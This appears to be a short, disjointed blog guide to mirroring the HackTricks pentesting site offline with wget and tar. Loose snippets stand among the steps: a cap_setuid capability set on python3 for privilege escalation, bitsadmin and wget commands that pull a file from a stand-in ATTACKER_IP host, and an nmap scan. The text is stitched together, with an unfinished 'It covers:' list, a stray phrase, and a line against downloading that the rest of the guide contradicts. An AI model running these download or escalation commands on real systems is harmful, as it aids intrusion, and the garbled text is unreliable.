Hacktricks - Offline
/usr/bin/python3 = cap_setuid+ep
bitsadmin /transfer job /download /priority high http://ATTACKER_IP/file C:\file
For the uninitiated, HackTricks (created by Carlos Polop) is the gold standard for pentesting and CTF checklists. It covers:
The problem? It’s a website. And websites go down. Or get blocked. hacktricks offline
nmap -p- -T4 target.com
This is the most complete method. It grabs the entire static site.
wget --mirror --convert-links --adjust-extension --page-requisites \
--no-parent --wait=2 --limit-rate=100k \
--user-agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" \
https://book.hacktricks.xyz/
Explanation of flags:
| Flag | Purpose |
|------|---------|
| --mirror | Recursive download |
| --convert-links | Makes local HTML links work |
| --adjust-extension | Adds .html where needed |
| --page-requisites | Downloads CSS, JS, images |
| --no-parent | Stays inside /book.hacktricks.xyz/ |
| --wait=2 | Polite delay (avoid rate limiting) |
After it finishes, open:
cd book.hacktricks.xyz
firefox index.html &
Pro tip: Compress it for portability:
tar -czf hacktricks-offline.tar.gz book.hacktricks.xyz/
# Copy to USB, VM, or cloud
Do not download or redistribute HackTricks content if you plan to republish it.
Respect Carlos’s work. This guide is for personal lab use and exam prep only.
wget http://ATTACKER_IP:8000/file